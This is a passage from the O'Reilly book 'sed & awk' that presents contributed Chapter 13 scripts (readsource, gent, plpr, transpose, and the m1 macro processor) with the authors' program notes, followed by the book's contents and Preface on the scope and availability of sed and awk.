    '${nfmt:+' printf("'"$nfmt"'", NR) '}'
    printf("\\&%s\n", line);
}
' $*

For an example of how it works, we ran readsource to extract a part of its own program.

$ readsource -x 3 -b "process one line" -e "finally print" readsource
\&#! process one line of input as required
\&{
\&   line = ""; ll = 0;
\&   for (i = 1; i <= length; i++) {
\&      c = substr($0, i, 1);
\&      if (xt && c == "\\et") {
\&         # expand tabs
\&         nsp = 8 - ll % xt;
\&         line = line substr(sp, 1, nsp);
\&         ll += nsp;
\&      }
\&      else {
\&         if (c == "\\e\\e") c = "\\e\\ee";
\&         line = line c;
\&         ll++;
\&      }
\&   }
\&}

13.6.1 Program Notes for readsource

This program is, first of all, quite useful, as it helped us prepare the listings in this book. The author does really stretch (old) awk to its limits, using shell variables to pass information into the script. It gets the job done, but it is quite obscure.

The program does run slowly. We followed up on the author's suggestion and changed the way the program replaced tabs and backslashes. The original program uses an expensive character-by-character comparison, obtaining the character using the substr() function. (It is the procedure that is extracted in the example above.) Its performance points out how costly it is in awk to read a line one character at a time, something that is very simple in C.

Running readsource on itself produced the following times:

$ timex readsource -x 3 readsource > /dev/null
real        1.56
user        1.22
sys         0.20

The procedure that changes the way tabs and backslashes are handled can be re-written in nawk to use the gsub() function:

#! process one line of input as required
{
        if ( xt && $0 ~ "\t" )
                gsub(/\t/, sp)
        if ($0 ~ "\\")
                gsub(/\\/, "\\e")
}

The last procedure needs a small change, replacing the variable line with "$0". (We don't use the temporary variable line.) The nawk version produces:

$ timex readsource.2 -x 3 readsource > /dev/null
real        0.44
user        0.10
sys         0.22

The difference is pretty remarkable.

One final speedup might be to use index() to look for backslashes:

#! process one line of input as required
{
        if ( xt && index($0, "\t") > 0 )
                gsub(/\t/, sp)
        if (index($0, "\\") > 0)
                gsub(/\\/, "\\e")
}

Previous: 13.5 adj - Adjust Lines for Text Files | sed & awk | Next: 13.7 gent - Get a termcap Entry
13.5 adj - Adjust Lines for Text Files | Book Index | 13.7 gent - Get a termcap Entry
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.7 gent - Get a termcap Entry

sed & awk

sed & awkSearch this book
Previous: 13.6 readsource - Format Program Source Files for troff Chapter 13
A Miscellany of Scripts 		Next: 13.8 plpr - lpr Preprocessor

13.7 gent - Get a termcap Entry

Contributed by Tom Christiansen

Here's a sed script I use to extract a termcap entry. It works for any termcap-like file, such as disktab. For example:

$ gent vt100

extracts the vt100 entry from termcap, while:

$ gent eagle /etc/disktab

gets the eagle entry from disktab. Now I know it could have been done in C or Perl, but I did it a long time ago. It's also interesting because of the way it passes options into the sed script. I know, I know: it should have been written in sh not csh, too.

#!/bin/csh -f

set argc = $#argv

set noglob
set dollar = '$'
set squeeze = 0
set noback="" nospace=""

rescan:
    if ( $argc > 0 && $argc < 3 ) then
        if ( "$1" =~ -* ) then
            if ( "-squeeze" =~ $1* ) then
                set noback='s/\\//g' nospace='s/^[  ]*//'
                set squeeze = 1
                shift
                @ argc --
                goto rescan
            else
                echo "Bad switch: $1"
                goto usage
            endif
        endif

        set entry = "$1"
        if ( $argc == 1 ) then
            set file = /etc/termcap
        else
            set file = "$2"
        endif
    else
        usage:
            echo "usage: `basename $0` [-squeeze] entry [termcapfile]"
            exit 1
    endif

sed -n -e \
"/^${entry}[|:]/ {\
    :x\
    /\\${dollar}/ {\
    ${noback}\
    ${nospace}\
    p\
    n\
    bx\
    }\
    ${nospace}\
    p\
    n\
    /^  / {\
        bx\
    }\
    }\
/^[^    ]*|${entry}[|:]/ {\
    :y\
    /\\${dollar}/ {\
    ${noback}\
    ${nospace}\
    p\
    n\
    by\
    }\
    ${nospace}\
    p\
    n\
    /^  / {\
        by\
    }\
    }" < $file

13.7.1 Program Notes for gent

Once you get used to reading awk scripts, they seem so much easier to understand than all but the simplest sed script. It can be a painstaking task to figure out what a small sed script like the one shown here is doing.

This script does show how to pass shell variables into a sed script. Variables are used to pass optional sed commands into the script, such as the substitution commands that replace backslashes and spaces.

This script could be simplified in several ways. First of all, the two regular expressions don't seem necessary to match the entry. The first matches the name of the entry at the beginning of a line; the second matches it elsewhere on the line. The loops labeled x and y are identical and even if the two regular expressions were necessary, we could have them branch to the same loop.

Previous: 13.6 readsource - Format Program Source Files for troff | sed & awk | Next: 13.8 plpr - lpr Preprocessor
13.6 readsource - Format Program Source Files for troff | Book Index | 13.8 plpr - lpr Preprocessor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.8 plpr - lpr Preprocessor

sed & awk

sed & awkSearch this book
Previous: 13.7 gent - Get a termcap Entry Chapter 13
A Miscellany of Scripts 		Next: 13.9 transpose - Perform a Matrix Transposition

13.8 plpr - lpr Preprocessor

Contributed by Tom Van Raalte

I thought you might want to use the following script around the office. It is a preprocessor for lpr that sends output to the "best" printer. [This shell script is written for a BSD or Linux system and you would use this command in place of lpr. It reads the output of the lpq command to determine if a specific printer is available. If not, it tries a list of printers to see which one is available or which is the least busy. Then it invokes lpr to send the job to that printer.]

#!/bin/sh
#
#set up temp file
TMP=/tmp/printsum.$$
LASERWRITER=${LASERWRITER-ps6}
#Check to see if the default printer is free?
#
#
FREE=`lpq -P$LASERWRITER | awk '
{ if ($0 == "no entries")
  {
    val=1
    print val
    exit 0
  }
  else
  {
    val=0
    print val
    exit 0
  }
}'`
#echo Free is $FREE
#
#If the default is free then $FREE is set, and we print and exit.
#
if [ $FREE -eq 1 ]
then
    SELECT=$LASERWRITER
#echo selected $SELECT
    lpr -P$SELECT $*
    exit 0
fi
#echo Past the exit
#
#Now we go on to see if any of the printers in bank are free.
#
BANK=${BANK-$LASERWRITER}
#echo bank is $BANK
#
#If BANK is the same as LASERWRITER, then we have no choice.
#otherwise, we print on the one that is free, if any are free.
#
if [ "$BANK" =  "$LASERWRITER" ]
then
    SELECT=$LASERWRITER
    lpr -P$SELECT $*
    exit 0
fi
#echo past the check bank=laserprinter
#
#Now we check for a free printer.
#Note that $LASERWRITER is checked again in case it becomes free
#during the check.
#
#echo now we check the other for a free one
for i in $BANK $LASERWRITER
do
FREE=`lpq -P$i | awk '
{ if ($0 == "no entries")
  {
    val=1
    print val
    exit 0
  }
  else
  {
    val=0
    print val
    exit 0
  }
}'`
if [ $FREE -eq 1 ]
then
#   echo in loop for $i
    SELECT=$i
#   echo select is $SELECT
#   if [ "$FREE" != "$LASERWRITER" ]
#   then
#          echo "Output redirected to printer $i"
#   fi
    lpr -P$SELECT $*
    exit 0
fi
done
#echo done checking for a free one
#
#If we make it here then no printers are free.  So we
#print on the printer with the least bytes queued.
#
#
for i in $BANK $LASERWRITER
do
val=`lpq -P$i | awk ' BEGIN {
    start=0;
}
/^Time/ {
    start=1;
    next;
}
(start == 1){
    test=substr($0,62,20);
    print test;
} ' | awk '
BEGIN {
    summ=0;
}
{
    summ=summ+$1;
}
END {
    print summ;
}'`
echo "$i $val" >> $TMP
done

SELECT=`awk '(NR==1) {
    select=$1;
    best=$2
}
($2 < best) {
    select=$1;
    best=$2}
END {
    print select
}
' $TMP `
#echo $SELECT
#
rm $TMP
#Now print on the selected printer
#if [ $SELECT != $LASERWRITER ]
#then
#   echo "Output redirected to printer $i"
#fi
lpr -P$SELECT $*
trap 'rm -f $TMP; exit 99' 2 3 15

13.8.1 Program Notes for plpr

For the most part, we've avoided scripts like these in which most of the logic is coded in the shell script. However, such a minimalist approach is representative of a wide variety of uses of awk. Here, awk is called to do only those things that the shell script can't do (or do as easily). Manipulating the output of a command and performing numeric comparisons is an example of such a task.

As a side note, the trap statement at the end should be at the top of the script, not at the bottom.

Previous: 13.7 gent - Get a termcap Entry | sed & awk | Next: 13.9 transpose - Perform a Matrix Transposition
13.7 gent - Get a termcap Entry | Book Index | 13.9 transpose - Perform a Matrix Transposition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.9 transpose - Perform a Matrix Transposition

sed & awk

sed & awkSearch this book
Previous: 13.8 plpr - lpr Preprocessor Chapter 13
A Miscellany of Scripts 		Next: 13.10 m1 - Simple Macro Processor

13.9 transpose - Perform a Matrix Transposition

Contributed by Geoff Clare

transpose performs a matrix transposition on its input. I wrote this when I saw a script to do this job posted to the Net and thought it was horribly inefficient. I posted mine as an alternative with timing comparisons. If I remember rightly, the original one stored all the elements individually and used a nested loop with a printf for each element. It was immediately obvious to me that it would be much faster to construct the rows of the transposed matrix "on the fly."

My script uses ${1+"$@"} to supply file names on the awk command line so that if no files are specified awk will read its standard input. This is much better than plain $* which can't handle filenames containing whitexspace.

#! /bin/sh
# Transpose a matrix: assumes all lines have same number
# of fields

exec awk '
NR == 1 {
    n = NF
    for (i = 1; i <= NF; i++)
        row[i] = $i
    next
}
{
    if (NF > n)
        n = NF
    for (i = 1; i <= NF; i++)
        row[i] = row[i] " " $i
}
END {
    for (i = 1; i <= n; i++)
        print row[i]
}' ${1+"$@"}

Here's a test file:

1 2 3 4
5 6 7 8
9 10 11 12

Now we run transpose on the file.

$ transpose test
1 5 9
2 6 10
3 7 11
4 8 12

13.9.1 Program Notes for transpose

This is a very simple but interesting script. It creates an array named row and appends each field into an element of the array. The END procedure outputs the array.

Previous: 13.8 plpr - lpr Preprocessor | sed & awk | Next: 13.10 m1 - Simple Macro Processor
13.8 plpr - lpr Preprocessor | Book Index | 13.10 m1 - Simple Macro Processor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.10 m1 - Simple Macro Processor

sed & awk

sed & awkSearch this book
Previous: 13.9 transpose - Perform a Matrix Transposition Chapter 13
A Miscellany of Scripts 		Next: A. Quick Reference for sed

13.10 m1 - Simple Macro Processor

Contributed by Jon Bentley

The m1 program is a "little brother" to the m4 macro processor found on UNIX systems. It was originally published in the article m1: A Mini Macro Processor, in Computer Language, June 1990, Volume 7, Number 6, pages 47-61. This program was brought to my attention by Ozan Yigit. Jon Bentley kindly sent me his current version of the program, as well as an early draft of his article (I was having trouble getting a copy of the published one). A PostScript version of this paper is included with the example programs, available from O'Reilly's FTP server (see the Preface). I wrote these introductory notes, and the program notes below. [A.R.]

A macro processor copies its input to its output, while performing several jobs. The tasks are:

  1. Define and expand macros. Macros have two parts, a name and a body. All occurrences of a macro's name are replaced with the macro's body.

  2. Include files. Special include directives in a data file are replaced with the contents of the named file. Includes can usually be nested, with one included file including another. Included files are processed for macros.

  3. Conditional text inclusion and exclusion. Different parts of the text can be included in the final output, often based upon whether a macro is or isn't defined.

  4. Depending on the macro processor, comment lines can appear that will be removed from the final output.

If you're a C or C++ programmer, you're already familiar with the built-in preprocessor in those languages. UNIX systems have a general-purpose macro processor called m4. This is a powerful program, but somewhat difficult to master, since macro definitions are processed for expansion at definition time, instead of at expansion time. m1 is considerably simpler than m4, making it much easier to learn and to use.

Here is Jon's first cut at a very simple macro processor. All it does is define and expand macros. We can call it m0a. In this and the following programs, the "at" symbol (@) distinguishes lines that are directives, and also indicates the presence of macros that should be expanded.

/^@define[ \t]/ {
    name = $2
    $1 = $2 = ""; sub(/^[ \t]+/, "")
    symtab[name] = $0
    next
}
{
    for (i in symtab)
        gsub("@" i "@", symtab[i])
    print
}

This version looks for lines beginning with "@define." This keyword is $1 and the macro name is taken to be $2. The rest of the line becomes the body of the macro. The next input line is then fetched using next. The second rule simply loops through all the defined macros, performing a global substitution of each macro with its body in the input line, and then printing the line. Think about the tradeoffs in this version of simplicity versus program execution time.

The next version (m0b) adds file inclusion:

function dofile(fname) {
    while (getline <fname > 0) {
        if (/^@define[ \t]/) {		# @define name value
            name = $2
            $1 = $2 = ""; sub(/^[ \t]+/, "")
            symtab[name] = $0
        } else if (/^@include[ \t]/)	# @include filename
            dofile($2)
        else {				# Anywhere in line @name@
            for (i in symtab)
                gsub("@" i "@", symtab[i])
            print
        }
    }
    close(fname)
}
BEGIN {
    if (ARGC == 2)
        dofile(ARGV[1])
    else
        dofile("/dev/stdin")
}

Note the way dofile() is called recursively to handle nested include files.

With all of that introduction out of the way, here is the full-blown m1 program.

#! /bin/awk -f
# NAME
#
# m1
#
# USAGE
#
# awk -f m1.awk [file...]
#
# DESCRIPTION
#
# M1 copies its input file(s) to its output unchanged except as modified by
# certain "macro expressions."  The following lines define macros for
# subsequent processing:
#
#     @comment Any text
#     @@                     same as @comment
#     @define name value
#     @default name value    set if name undefined
#     @include filename
#     @if varname            include subsequent text if varname != 0
#     @unless varname        include subsequent text if varname == 0
#     @fi                    terminate @if or @unless
#     @ignore DELIM          ignore input until line that begins with DELIM
#     @stderr stuff          send diagnostics to standard error
#
# A definition may extend across many lines by ending each line with
# a backslash, thus quoting the following newline.
#
# Any occurrence of @name@ in the input is replaced in the output by
# the corresponding value.
#
# @name at beginning of line is treated the same as @name@.
#
# BUGS
#
# M1 is three steps lower than m4.  You'll probably miss something
# you have learned to expect.
#
# AUTHOR
#
# Jon L. Bentley, jlb@research.bell-labs.com
#

function error(s) {
    print "m1 error: " s | "cat 1>&2"; exit 1
}

function dofile(fname,  savefile, savebuffer, newstring) {
    if (fname in activefiles)
        error("recursively reading file: " fname)
    activefiles[fname] = 1
    savefile = file; file = fname
    savebuffer = buffer; buffer = ""
    while (readline() != EOF) {
        if (index($0, "@") == 0) {
            print $0
        } else if (/^@define[ \t]/) {
            dodef()
        } else if (/^@default[ \t]/) {
            if (!($2 in symtab))
                dodef()
        } else if (/^@include[ \t]/) {
            if (NF != 2) error("bad include line")
            dofile(dosubs($2))
        } else if (/^@if[ \t]/) {
            if (NF != 2) error("bad if line")
            if (!($2 in symtab) || symtab[$2] == 0)
                gobble()
        } else if (/^@unless[ \t]/) {
            if (NF != 2) error("bad unless line")
            if (($2 in symtab) && symtab[$2] != 0)
                gobble()
        } else if (/^@fi([ \t]?|$)/) { # Could do error checking here
        } else if (/^@stderr[ \t]?/) {
            print substr($0, 9) | "cat 1>&2"
        } else if (/^@(comment|@)[ \t]?/) {
        } else if (/^@ignore[ \t]/) { # Dump input until $2
            delim = $2
            l = length(delim)
            while (readline() != EOF)
                if (substr($0, 1, l) == delim)
                    break
        } else {
            newstring = dosubs($0)
            if ($0 == newstring || index(newstring, "@") == 0)
                print newstring
            else
                buffer = newstring "\n" buffer
        }
    }
    close(fname)
    delete activefiles[fname]
    file = savefile
    buffer = savebuffer
}

# Put next input line into global string "buffer"
# Return "EOF" or "" (null string)

function readline(  i, status) {
    status = ""
    if (buffer != "") {
        i = index(buffer, "\n")
        $0 = substr(buffer, 1, i-1)
        buffer = substr(buffer, i+1)
    } else {
        # Hume: special case for non v10: if (file == "/dev/stdin")
        if (getline <file <= 0)
            status = EOF
    }
    # Hack: allow @Mname at start of line w/o closing @
    if ($0 ~ /^@[A-Z][a-zA-Z0-9]*[ \t]*$/)
        sub(/[ \t]*$/, "@")
    return status
}

function gobble(  ifdepth) {
    ifdepth = 1
    while (readline() != EOF) {
        if (/^@(if|unless)[ \t]/)
            ifdepth++
        if (/^@fi[ \t]?/ && --ifdepth <= 0)
            break
    }
}

function dosubs(s,  l, r, i, m) {
    if (index(s, "@") == 0)
        return s
    l = ""	# Left of current pos; ready for output
    r = s	# Right of current; unexamined at this time
    while ((i = index(r, "@")) != 0) {
        l = l substr(r, 1, i-1)
        r = substr(r, i+1)	# Currently scanning @
        i = index(r, "@")
        if (i == 0) {
            l = l "@"
            break
        }
        m = substr(r, 1, i-1)
        r = substr(r, i+1)
        if (m in symtab) {
            r = symtab[m] r
        } else {
            l = l "@" m
            r = "@" r
        }
    }
    return l r
}

function dodef(fname,  str, x) {
    name = $2
    sub(/^[ \t]*[^ \t]+[ \t]+[^ \t]+[ \t]*/, "")  # OLD BUG: last * was +
    str = $0
    while (str ~ /\\$/) {
        if (readline() == EOF)
            error("EOF inside definition")
        x = $0
        sub(/^[ \t]+/, "", x)
        str = substr(str, 1, length(str)-1) "\n" x
    }
    symtab[name] = str
}

BEGIN {	EOF = "EOF"
    if (ARGC == 1)
        dofile("/dev/stdin")
    else if (ARGC >= 2) {
        for (i = 1; i < ARGC; i++)
            dofile(ARGV[i])
    } else
        error("usage: m1 [fname...]")
}

13.10.1 Program Notes for m1

The program is nicely modular, with an error() function similar to the one presented in Chapter 11, A Flock of awks, and each task cleanly divided into separate functions.

The main program occurs in the BEGIN procedure at the bottom. It simply processes either standard input, if there are no arguments, or all of the files named on the command line.

The high-level processing happens in the dofile() function, which reads one line at a time, and decides what to do with each line. The activefiles array keeps track of open files. The variable fname indicates the current file to read data from. When an "@include" directive is seen, dofile() simply calls itself recursively on the new file, as in m0b. Interestingly, the included filename is first processed for macros. Read this function carefully - there are some nice tricks here.

The readline() function manages the "pushback." After expanding a macro, macro processors examine the newly created text for any additional macro names. Only after all expanded text has been processed and sent to the output does the program get a fresh line of input.

The dosubs() function actually performs the macro substitution. It processes the line left-to-right, replacing macro names with their bodies. The rescanning of the new line is left to the higher-level logic that is jointly managed by readline() and dofile(). This version is considerably more efficient than the brute-force approach used in the m0 programs.

Finally, the dodef() function handles the defining of macros. It saves the macro name from $2, and then uses sub() to remove the first two fields. The new value of $0 now contains just (the first line of) the macro body. The Computer Language article explains that sub() is used on purpose, in order to preserve whitespace in the macro body. Simply assigning the empty string to $1 and $2 would rebuild the record, but with all occurrences of whitespace collapsed into single occurrences of the value of OFS (a single blank). The function then proceeds to gather the rest of the macro body, indicated by lines that end with a "\". This is an additional improvement over m0: macro bodies can be more than one line long.

The rest of the program is concerned with conditional inclusion or exclusion of text; this part is straightforward. What's nice is that these conditionals can be nested inside each other.

m1 is a very nice start at a macro processor. You might want to think about how you could expand upon it; for instance, by allowing conditionals to have an "@else" clause; processing the command line for macro definitions; "undefining" macros, and the other sorts of things that macro processors usually do.

Some other extensions suggested by Jon Bentley are:

  1. Add "@shell DELIM shell line here," which would read input lines up to "DELIM," and send the expanded output through a pipe to the given shell command.

  2. Add commands "@longdef" and "@longend." These commands would define macros with long bodies, i.e., those that extend over more than one line, simplifying the logic in dodoef().

  3. Add "@append MacName MoreText," like ".am" in troff. This macro in troff appends text to an already defined macro. In m1, this would allow you to add on to the body of an already defined macro.

  4. Avoid the V10 /dev/stdin special file. The Bell Labs UNIX systems[1] have a special file actually named /dev/stdin, that gives you access to standard input. It occurs to me that the use of "-" would do the trick, quite portably. This is also not a real issue if you use gawk or the Bell Labs awk, which interpret the special file name /dev/stdin internally (see Chapter 11).

    [1] And some other UNIX systems, as well.

As a final note, Jon often makes use of awk in two of his books, Programming Pearls, and More Programming Pearls - Confessions of a Coder (both published by Addison-Wesley). These books are both excellent reading.

Previous: 13.9 transpose - Perform a Matrix Transposition | sed & awk | Next: A. Quick Reference for sed
13.9 transpose - Perform a Matrix Transposition | Book Index | A. Quick Reference for sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


sed & awk

By Dale Dougherty & Arnold Robbins; ISBN 1-56592-225-5, 432 pages.
Second Edition, March 1997.
(See the catalog page for this book.)

Search the text of sed & awk.

Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Table of Contents

Preface
Chapter 1: Power Tools for Editing
Chapter 2: Understanding Basic Operations
Chapter 3: Understanding Regular Expression Syntax
Chapter 4: Writing sed Scripts
Chapter 5: Basic sed Commands
Chapter 6: Advanced sed Commands
Chapter 7: Writing Scripts for awk
Chapter 8: Conditionals, Loops, and Arrays
Chapter 9: Functions
Chapter 10: The Bottom Drawer
Chapter 11: A Flock of awks
Chapter 12: Full-Featured Applications
Chapter 13: A Miscellany of Scripts

Appendix A: Quick Reference for sed
Appendix B: Quick Reference for awk
Appendix C: Supplement for Chapter 12

Examples

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi EditorLearning the Korn ShellLearning the UNIX Operating System

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Scope of This Handbook
Availability of sed and awk
Obtaining Example Source Code
Conventions Used in This Handbook
About the Second Edition
Acknowledgments from the First Edition
Comments and Questions

This book is about a set of oddly named UNIX utilities, sed and awk. These utilities have many things in common, including the use of regular expressions for pattern matching. Since pattern matching is such an important part of their use, this book explains UNIX regular expression syntax very thoroughly. Because there is a natural progression in learning from grep to sed to awk, we will be covering all three programs, although the focus is on sed and awk.

Sed and awk are tools used by users, programmers, and system administrators - anyone working with text files. Sed, so called because it is a stream editor, is perfect for applying a series of edits to a number of files. Awk, named after its developers Aho, Weinberger, and Kernighan, is a programming language that permits easy manipulation of structured data and the generation of formatted reports. This book emphasizes the POSIX definition of awk. In addition, the book briefly describes the original version of awk, before discussing three freely available versions of awk and two commercial ones, all of which implement POSIX awk.

The focus of this book is on writing scripts for sed and awk that quickly solve an assortment of problems for the user. Many of these scripts could be called "quick-fixes." In addition, we'll cover scripts that solve larger problems that require more careful design and development.

Scope of This Handbook

Chapter 1, Power Tools for Editing, is an overview of the features and capabilities of sed and awk.

Chapter 2, Understanding Basic Operations, demonstrates the basic operations of sed and awk, showing a progression in functionality from sed to awk. Both share a similar command-line syntax, accepting user instructions in the form of a script.

Chapter 3, Understanding Regular Expression Syntax, describes UNIX regular expression syntax in full detail. New users are often intimidated by these strange expressions, used for pattern matching. It is important to master regular expression syntax to get the most from sed and awk. The pattern-matching examples in this chapter largely rely on grep and egrep.

Chapter 4, Writing sed Scripts, begins a three-chapter section on sed. This chapter covers the basic elements of writing a sed script using only a few sed commands. It also presents a shell script that simplifies invoking sed scripts.

Chapter 5, Basic sed Commands, and Chapter 6, Advanced sed Commands, divide the sed command set into basic and advanced commands. The basic commands are commands that parallel manual editing actions, while the advanced commands introduce simple programming capabilities. Among the advanced commands are those that manipulate the hold space, a set-aside temporary buffer.

Chapter 7, Writing Scripts for awk, begins a five-chapter section on awk. This chapter presents the primary features of this scripting language. A number of scripts are explained, including one that modifies the output of the ls command.

Chapter 8, Conditionals, Loops, and Arrays, describes how to use common programming constructs such as conditionals, loops, and arrays.

Chapter 9, Functions, describes how to use awk's built-in functions as well as how to write user-defined functions.

Chapter 10, The Bottom Drawer, covers a set of miscellaneous awk topics. It describes how to execute UNIX commands from an awk script and how to direct output to files and pipes. It then offers some (meager) advice on debugging awk scripts.

Chapter 11, A Flock of awks, describes the original V7 version of awk, the current Bell Labs awk, GNU awk (gawk) from the Free Software Foundation, and mawk, by Michael Brennan. The latter three all have freely available source code. This chapter also describes two commercial implementations, MKS awk and Thomson Automation awk (tawk), as well as VSAwk, which brings awk-like capabilities to the Visual Basic environment.

Chapter 12, Full-Featured Applications, presents two longer, more complex awk scripts that together demonstrate nearly all the features of the language. The first script is an interactive spelling checker. The second script processes and formats the index for a book or a master index for a set of books.

Chapter 13, A Miscellany of Scripts, presents a number of user-contributed scripts that show different styles and techniques of writing scripts for sed and awk.

Appendix A, Quick Reference for sed, is a quick reference describing sed's commands and command-line options.

Appendix B, Quick Reference for awk, is a quick reference to awk's command-line options and a full description of its scripting language.

Appendix C, Supplement for Chapter 12, presents the full listings for the spellcheck.awk script and the masterindex shell script described in Chapter 12.

sed & awk | Next: Availability of sed and awk
Book Index | Availability of sed and awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Availability of sed and awk

sed & awk

sed & awkSearch this book
Previous: Scope of This Handbook Preface Next: Obtaining Example Source Code

Availability of sed and awk

Sed and awk were part of Version 7 UNIX (also known as "V7," and "Seventh Edition") and have been part of the standard distribution ever since. Sed has been unchanged since it was introduced.

The Free Software Foundation GNU project's version of sed is freely available, although not technically in the public domain. Source code for GNU sed is available via anonymous FTP[1] to the host ftp.gnu.ai.mit.edu. It is in the file /pub/gnu/sed-2.05.tar.gz. This is a tar file compressed with the gzip program, whose source code is available in the same directory. There are many sites world-wide that "mirror" the files from the main GNU distribution site; if you know of one close to you, you should get the files from there. Be sure to use "binary" or "image" mode to transfer the file(s).

[1] If you don't have Internet access and wish to get a copy of GNU sed, contact the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U.S.A. The telephone number is 1-617-542-5942, and the fax number is 1-617-542-2652.

In 1985, the authors of awk extended the language, adding many useful features. Unfortunately, this new version remained inside AT&T for several years. It became part of UNIX System V as of Release 3.1. It can be found under the name of nawk, for new awk; the older version still exists under its original name. This is still the case on System V Release 4 systems.

On commercial UNIX systems, such as those from Hewlett-Packard, Sun, IBM, Digital, and others, the naming situation is more complicated. All of these systems have some version of both old and new awk, but what each vendor names each program varies. Some have oawk and awk, others have awk and nawk. The best advice we can give is to check your local documentation.[2] Throughout this book, we use the term awk to describe POSIX awk. Specific implementations will be referred to by name, such as "gawk," or "the Bell Labs awk."

[2] Purists refer to the new awk simply as awk; the new one was intended to replace the original one. Alas, almost 10 years after it was released, this still has not really happened.

Chapter 11 discusses three freely available awks (including where to get them), as well as several commercial ones.

NOTE: Since the first edition of this book, the awk language was standardized as part of the POSIX Command Language and Utilities Standard (P1003.2). All modern awk implementations aim to be upwardly compatible with the POSIX standard.

The standard incorporates features that originated in both new awk and gawk. In this book, you can assume that what is true for one implementation of POSIX awk is true for another, unless a particular version is designated.

DOS Versions

Gawk, mawk, and GNU sed have been ported to DOS. There are files on the main GNU distribution site with pointers to DOS versions of these programs. In addition, gawk has been ported to OS/2, VMS, and Atari and Amiga microcomputers, with ports to other systems (Macintosh, Windows) in progress.

egrep, sed, and awk are available for MS-DOS-based machines as part of the MKS Toolkit (Mortice Kern Systems, Inc., Ontario, Canada). Their implementation of awk supports the features of POSIX awk.

The MKS Toolkit also includes the Korn shell, which means that many shell scripts written for the Bourne shell on UNIX systems can be run on a PC. While most users of the MKS Toolkit have probably already discovered these tools in UNIX, we hope that the benefits of these programs will be obvious to PC users who have not ventured into UNIX.

Thompson Automation Software[3] has an awk compiler for UNIX, DOS, and Microsoft Windows. This version is interesting because it has a number of extensions to the language, and it includes an awk debugger, written in awk!

[3] 5616 SW Jefferson, Portland, OR 97221 U.S.A., 1-800-944-0139 within the U.S., 1-503-224-1639 elsewhere.

We have used a PC on occasion because Ventura Publisher is a terrific formatting package. One of the reasons we like it is that we can continue to use vi to create and edit the text files and use sed for writing editing scripts. We have used sed to write conversion programs that translate troff macros into Ventura stylesheet tags. We have also used it to insert tags in batch mode. This can save having to manually tag repeated elements in a file.

Sed and awk are also useful for writing conversion programs that handle different file formats.

Other Sources of Information About sed and awk

For a long time, the main source of information on these utilities was two articles contained in Volume 2 of the UNIX Programmer's Guide. The article awk - A Pattern Scanning and Processing Language (September 1, 1978) was written by the language's three authors. In 10 pages, it offers a brief tutorial and discusses several design and implementation issues. The article SED - A Non-Interactive Text Editor (August 15, 1978) was written by Lee E. McMahon. It is a reference that gives a full description of each function and includes some useful examples (using Coleridge's Xanadu as sample input).

In trade books, the most significant treatment of sed and awk appears in The UNIX Programming Environment by Brian W. Kernighan and Rob Pike (Prentice-Hall, 1984). The chapter entitled "Filters" not only explains how these programs work but shows how they can work together to build useful applications.

The authors of awk collaborated on a book describing the enhanced version: The AWK Programming Language (Addison-Wesley, 1988). It contains many full examples and demonstrates the broad range of areas where awk can be applied. It follows in the style of the UNIX Programming Environment, which at times makes it too dense for some readers who are new users. The source code for the example programs in the book can be found in the directory /netlib/research/awkbookcode on netlib.bell-labs.com.

The IEEE Standard for Information and Technology Portable Operating System Interface (POSIX) Part 2: Shell and Utilities (Standard 1003.2-1992)[4] describes both sed and awk.[5] It is the "official" word on the features available for portable shell programs that use sed and awk. Since awk is a programming language in its own right, it is also the official word on portable awk programs.

[4] Whew! Say that three times fast!

[5] The standard is not available online. It can be ordered from the IEEE by calling 1-800-678-IEEE(4333) in the U.S. and Canada, 1-908-981-0060 elsewhere. Or, see http://www.ieee.org/ from a Web browser. The cost is U.S. $228, which includes Standard 1003.2d-1994 - Amendment 1 for Batch Environments. Members of IEEE and/or IEEE societies receive a discount.

In 1996, the Free Software Foundation published The GNU Awk User's Guide, by Arnold Robbins. This is the documentation for gawk, written in a more tutorial style than the Aho, Kernighan, and Weinberger book. It has two full chapters of examples, and covers POSIX awk. This book is also published by SSC under the title Effective AWK Programming, and the Texinfo source for the book comes with the gawk distribution.

It is one of the current deficiencies of GNU sed that it has no documentation of its own, not even a manpage.

Most general introductions to UNIX introduce sed and awk in a long parade of utilities. Of these books, Henry McGilton and Rachel Morgan's Introducing the UNIX System offers the best treatment of basic editing skills, including use of all UNIX text editors.

UNIX Text Processing (Hayden Books, 1987), by the original author of this handbook and Tim O'Reilly, covers sed and awk in full, although we did not include the new version of awk. Readers of that book will find some parts duplicated in this book, but in general a different approach has been taken here. Whereas in the textbook we treat sed and awk separately, expecting only advanced users to tackle awk, here we try to present both programs in relation to one another. They are different tools that can be used individually or together to provide interesting opportunities for text processing.

Finally, in 1995 the Usenet newsgroup comp.lang.awk came into being. If you can't find what you need to know in one of the above books, you can post a question in the newsgroup, with a good chance that someone will be able to help you.

The newsgroup also has a "frequently asked questions" (FAQ) article that is posted regularly. Besides answering questions about awk, the FAQ lists many sites where you can obtain binaries of different versions of awk for different systems. You can retrieve the FAQ via FTP in the file called /pub/usenet/comp.lang.awk/faq from the host rtfm.mit.edu.

Sample Programs

